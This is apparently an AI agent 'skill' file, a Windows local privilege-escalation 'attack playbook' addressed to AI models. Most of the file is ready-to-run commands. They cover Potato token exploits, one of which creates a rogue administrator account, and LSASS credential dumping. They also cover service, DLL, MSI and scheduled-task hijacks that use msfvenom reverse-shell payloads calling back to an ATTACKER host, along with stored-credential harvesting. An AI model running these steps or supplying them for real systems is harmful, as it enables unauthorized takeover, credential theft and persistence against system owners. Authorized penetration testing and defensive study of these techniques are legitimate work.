---
name: windows-privilege-escalation
description: >-
  Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
---

# SKILL: Windows Local Privilege Escalation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after escalation for pivoting to other hosts
- [windows-av-evasion](../windows-av-evasion/SKILL.md) when AV/EDR blocks your privesc tools
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when the host is domain-joined and you need AD-level escalation
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for domain privilege escalation via ACL misconfigurations

### Advanced Reference

Also load [TOKEN_POTATO_TRICKS.md](./TOKEN_POTATO_TRICKS.md) when you need:
- Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
- OS-version-specific exploit selection
- Required privileges and protocol details per variant

Also load [UAC_BYPASS_METHODS.md](./UAC_BYPASS_METHODS.md) when you need:
- UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
- Auto-elevate binary abuse
- Mock trusted directory tricks

---

## 1. ENUMERATION CHECKLIST

### System Context

```cmd
whoami /all                        & REM Current user, groups, privileges
systeminfo                         & REM OS version, hotfixes, architecture
hostname                           & REM Machine name
net user %USERNAME%                & REM Group memberships
```

### Token Privileges (Critical)

```cmd
whoami /priv
```

| Privilege | Escalation Path |
|---|---|
| `SeImpersonatePrivilege` | Potato family exploits (§2) |
| `SeAssignPrimaryTokenPrivilege` | Token manipulation, Potato variants |
| `SeDebugPrivilege` | Dump LSASS, inject into SYSTEM processes |
| `SeBackupPrivilege` | Read any file (SAM/SYSTEM/NTDS.dit) |
| `SeRestorePrivilege` | Write any file (DLL hijack, service binary) |
| `SeTakeOwnershipPrivilege` | Take ownership of any object |
| `SeLoadDriverPrivilege` | Load vulnerable kernel driver → kernel exploit |

### Services & Scheduled Tasks

```cmd
sc query state= all                & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v        & REM Verbose scheduled task list
```

### Installed Software & Patches

```cmd
wmic product get name,version
wmic qfe list                      & REM Installed patches
```

### Network & Credentials

```cmd
netstat -ano                       & REM Listening ports + PIDs
cmdkey /list                       & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
```

---

## 2. TOKEN MANIPULATION & POTATO EXPLOITS

### SeImpersonatePrivilege Abuse

Service accounts (IIS AppPool, MSSQL, etc.) typically hold `SeImpersonatePrivilege`. This enables impersonation of any token presented to you.

| Tool | OS Support | Protocol | Notes |
|---|---|---|---|
| **JuicyPotato** | Win7–Server2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ |
| **RoguePotato** | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 |
| **PrintSpoofer** | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run |
| **SweetPotato** | Broad | COM + Print + EFS | Combines multiple techniques |
| **GodPotato** | Win8–Server2022 | DCOM RPCSS | Works on latest patched systems |

```cmd
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}
```

### SeDebugPrivilege Abuse

```powershell
# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp

# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe
```

---

## 3. SERVICE MISCONFIGURATIONS

### Unquoted Service Paths

```cmd
# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
```

If path is `C:\Program Files\My App\service.exe`, Windows tries:
1. `C:\Program.exe`
2. `C:\Program Files\My.exe`
3. `C:\Program Files\My App\service.exe`

Place malicious binary at first writable location.

### Weak Service Permissions

```cmd
# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
```

```cmd
# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc
```

### Writable Service Binaries

```cmd
# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary
```

---

## 4. DLL HIJACKING

### DLL Search Order (Standard)

1. Directory of the executable
2. `C:\Windows\System32`
3. `C:\Windows\System`
4. `C:\Windows`
5. Current directory
6. Directories in `%PATH%`

### Exploitation

```cmd
# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll

# Place in writable directory that comes before the real DLL location
```

### Known Phantom DLL Targets

| Application | Missing DLL | Drop Location |
|---|---|---|
| Various .NET apps | `profapi.dll` | Application directory |
| Windows services | `wlbsctrl.dll` | `%PATH%` writable dir |
| Third-party updaters | `VERSION.dll` | Application directory |

---

## 5. ALWAYSINSTALLELEVATED

```cmd
# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

```cmd
# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi
```

---

## 6. SCHEDULED TASK ABUSE

```cmd
# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"

# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"

# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected path
```

### Scheduled Task via PowerShell

```powershell
# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"
```

---

## 7. REGISTRY AUTORUNS

```cmd
# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula
```

If an autorun entry points to a writable path → replace binary or inject new entry.

---

## 8. NAMED PIPE IMPERSONATION

```powershell
# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated

# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exe
```

Custom named pipe server (requires SeImpersonatePrivilege):
```powershell
# Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token
```

---

## 9. AUTOMATED TOOLS

| Tool | Purpose | Command |
|---|---|---|
| **winPEAS** | Comprehensive Windows enumeration | `winPEASx64.exe` |
| **PowerUp** | Service/DLL/registry misconfig checks | `Invoke-AllChecks` |
| **Seatbelt** | Security-focused host survey | `Seatbelt.exe -group=all` |
| **SharpUp** | C# port of PowerUp checks | `SharpUp.exe audit` |
| **PrivescCheck** | PowerShell privesc checker | `Invoke-PrivescCheck` |
| **BeRoot** | Common misconfig finder | `beRoot.exe` |

---

## 10. PRIVILEGE ESCALATION DECISION TREE

```
Low-privilege shell on Windows
│
├── whoami /priv → SeImpersonatePrivilege?
│   ├── Yes → Potato family (§2)
│   │   ├── Server2019+/Win11 → GodPotato or PrintSpoofer
│   │   ├── Server2016/Win10 → PrintSpoofer or SweetPotato
│   │   └── Older → JuicyPotato (need CLSID)
│   └── SeDebugPrivilege? → LSASS dump / process injection
│
├── Service misconfigurations?
│   ├── Unquoted path with spaces + writable dir? → binary plant (§3)
│   ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
│   └── Writable service binary? → replace executable (§3)
│
├── DLL hijacking opportunity?
│   ├── Missing DLL in search path? → plant malicious DLL (§4)
│   └── Writable directory in %PATH%? → DLL plant (§4)
│
├── AlwaysInstallElevated set?
│   └── Both HKLM+HKCU = 1 → MSI payload (§5)
│
├── Scheduled task abuse?
│   ├── Task runs as SYSTEM with writable binary? → replace (§6)
│   └── Task references missing binary? → plant binary (§6)
│
├── Registry autorun writable?
│   └── Writable binary path → replace on next login/reboot (§7)
│
├── UAC bypass needed? (medium integrity → high integrity)
│   └── Load UAC_BYPASS_METHODS.md
│
├── Stored credentials?
│   ├── cmdkey /list → runas /savecred
│   ├── Autologon in registry? → plaintext creds
│   └── WiFi passwords, browser creds, DPAPI
│
└── None of the above?
    ├── Run winPEAS for comprehensive scan
    ├── Check internal services (netstat -ano)
    ├── Look for sensitive files (unattend.xml, web.config, *.config)
    └── Check for kernel exploits (systeminfo → Windows Exploit Suggester)
```